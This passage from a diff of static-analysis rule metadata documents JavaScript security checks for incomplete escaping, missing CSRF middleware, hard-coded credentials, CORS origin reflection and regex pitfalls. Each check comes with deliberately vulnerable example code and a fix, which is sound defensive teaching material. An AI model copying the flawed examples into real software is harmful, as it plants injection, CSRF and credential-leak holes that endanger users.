undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], - "description" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected.", - "id" : "js/incomplete-hostname-regexp", + "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116" ], + "description" : "A string transformer that does not replace or escape all occurrences of a\n meta-character may be ineffective.", + "id" : "js/incomplete-sanitization", "kind" : "problem", - "name" : "Incomplete regular expression for hostnames", + "name" : "Incomplete string escaping or encoding", "precision" : "high", "problem.severity" : "warning", "security-severity" : "7.8" } }, { - "id" : "js/incorrect-suffix-check", - "name" : "js/incorrect-suffix-check", + "id" : "js/missing-token-validation", + "name" : "js/missing-token-validation", "shortDescription" : { - "text" : "Incorrect suffix check" + "text" : "Missing CSRF middleware" }, "fullDescription" : { - "text" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled." + "text" : "Using cookies without CSRF protection may allow malicious websites to submit requests on behalf of the user." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n let index = x.lastIndexOf(y);\n return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", - "markdown" : "# Incorrect suffix check\nThe `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all.\n\nSpecifically, this can easily happen when implementing `endsWith` using `indexOf`.\n\n\n## Recommendation\nUse `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1.\n\n\n## Example\nThe following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`:\n\n\n```javascript\nfunction endsWith(x, y) {\n return x.lastIndexOf(y) === x.length - y.length;\n}\n\n```\nHowever, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`.\n\nTo avoid this, explicitly check for the -1 case:\n\n\n```javascript\nfunction endsWith(x, y) {\n let index = x.lastIndexOf(y);\n return index !== -1 && index === x.length - y.length;\n}\n\n```\n\n## References\n* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith)\n* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" + "text" : "# Missing CSRF middleware\nWebsites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website.\n\nThis is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request.\n\n\n## Recommendation\nUse a middleware package such as `lusca.csrf` to protect against CSRF attacks.\n\n\n## Example\nIn the example below, the server authenticates users before performing the `changeEmail` POST action:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\");\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\nThis is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user.\n\nThis vulnerability can be mitigated by installing a CSRF protecting middleware handler:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\"),\n csrf = require('lusca').csrf;\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\napp.use(csrf());\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\n\n## References\n* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))\n* NPM: [lusca](https://www.npmjs.com/package/lusca)\n* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html).\n", + "markdown" : "# Missing CSRF middleware\nWebsites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website.\n\nThis is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request.\n\n\n## Recommendation\nUse a middleware package such as `lusca.csrf` to protect against CSRF attacks.\n\n\n## Example\nIn the example below, the server authenticates users before performing the `changeEmail` POST action:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\");\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\nThis is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user.\n\nThis vulnerability can be mitigated by installing a CSRF protecting middleware handler:\n\n\n```javascript\nconst app = require(\"express\")(),\n cookieParser = require(\"cookie-parser\"),\n bodyParser = require(\"body-parser\"),\n session = require(\"express-session\"),\n csrf = require('lusca').csrf;\n\napp.use(cookieParser());\napp.use(bodyParser.urlencoded({ extended: false }));\napp.use(session({ secret: process.env['SECRET'], cookie: { maxAge: 60000 } }));\napp.use(csrf());\n\n// ...\n\napp.post(\"/changeEmail\", function(req, res) {\n const userId = req.session.id;\n const email = req.body[\"email\"];\n // ... update email associated with userId\n});\n\n```\n\n## References\n* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))\n* NPM: [lusca](https://www.npmjs.com/package/lusca)\n* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html).\n" }, "properties" : { - "tags" : [ "security", "correctness", "external/cwe/cwe-020" ], - "description" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled.", - "id" : "js/incorrect-suffix-check", + "tags" : [ "security", "external/cwe/cwe-352" ], + "description" : "Using cookies without CSRF protection may allow malicious websites to\n submit requests on behalf of the user.", + "id" : "js/missing-token-validation", "kind" : "problem", - "name" : "Incorrect suffix check", + "name" : "Missing CSRF middleware", "precision" : "high", "problem.severity" : "error", - "security-severity" : "7.8" + "security-severity" : "8.8" } }, { - "id" : "js/useless-regexp-character-escape", - "name" : "js/useless-regexp-character-escape", + "id" : "js/hardcoded-credentials", + "name" : "js/hardcoded-credentials", "shortDescription" : { - "text" : "Useless regular-expression character escape" + "text" : "Hard-coded credentials" }, "fullDescription" : { - "text" : "Prepending a backslash to an ordinary character in a string does not have any effect, and may make regular expressions constructed from this string behave unexpectedly." + "text" : "Hard-coding credentials in source code may enable an attacker to gain unauthorized access." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", - "markdown" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" + "text" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\nIf the credentials are a placeholder value, make sure the value is obviously a placeholder by using a name such as `\"SampleToken\"` or `\"MyPassword\"`.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and `password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n user: \"bob\",\n host: \"database.server.com\",\n database: \"mydb\",\n password: \"correct-horse-battery-staple\",\n port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n", + "markdown" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\nIf the credentials are a placeholder value, make sure the value is obviously a placeholder by using a name such as `\"SampleToken\"` or `\"MyPassword\"`.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and `password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n user: \"bob\",\n host: \"database.server.com\",\n database: \"mydb\",\n password: \"correct-horse-battery-staple\",\n port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], - "description" : "Prepending a backslash to an ordinary character in a string\n does not have any effect, and may make regular expressions constructed from this string\n behave unexpectedly.", - "id" : "js/useless-regexp-character-escape", - "kind" : "problem", - "name" : "Useless regular-expression character escape", + "tags" : [ "security", "external/cwe/cwe-259", "external/cwe/cwe-321", "external/cwe/cwe-798" ], + "description" : "Hard-coding credentials in source code may enable an attacker\n to gain unauthorized access.", + "id" : "js/hardcoded-credentials", + "kind" : "path-problem", + "name" : "Hard-coded credentials", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "7.8" + "problem.severity" : "warning", + "security-severity" : "9.8" } }, { - "id" : "js/overly-large-range", - "name" : "js/overly-large-range", + "id" : "js/cors-misconfiguration-for-credentials", + "name" : "js/cors-misconfiguration-for-credentials", "shortDescription" : { - "text" : "Overly permissive regular expression range" + "text" : "CORS misconfiguration for credentials transfer" }, "fullDescription" : { - "text" : "Overly permissive regular expression ranges match a wider range of characters than intended. This may allow an attacker to bypass a filter or sanitizer." + "text" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", - "markdown" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" + "text" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin;\n // BAD: attacker can choose the value of origin\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin,\n whitelist = {\n \"https://example.com\": true,\n \"https://subdomain.example.com\": true,\n \"https://example.com:1337\": true\n };\n\n if (origin in whitelist) {\n // GOOD: the origin is in the whitelist\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n }\n\n // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n", + "markdown" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin;\n // BAD: attacker can choose the value of origin\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin,\n whitelist = {\n \"https://example.com\": true,\n \"https://subdomain.example.com\": true,\n \"https://example.com:1337\": true\n };\n\n if (origin in whitelist) {\n // GOOD: the origin is in the whitelist\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n }\n\n // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], - "description" : "Overly permissive regular expression ranges match a wider range of characters than intended.\n This may allow an attacker to bypass a filter or sanitizer.", - "id" : "js/overly-large-range", - "kind" : "problem", - "name" : "Overly permissive regular expression range", + "tags" : [ "security", "external/cwe/cwe-346", "external/cwe/cwe-639", "external/cwe/cwe-942" ], + "description" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials.", + "id" : "js/cors-misconfiguration-for-credentials", + "kind" : "path-problem", + "name" : "CORS misconfiguration for credentials transfer", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "5.0" + "problem.severity" : "error", + "security-severity" : "7.5" } }, { - "id" : 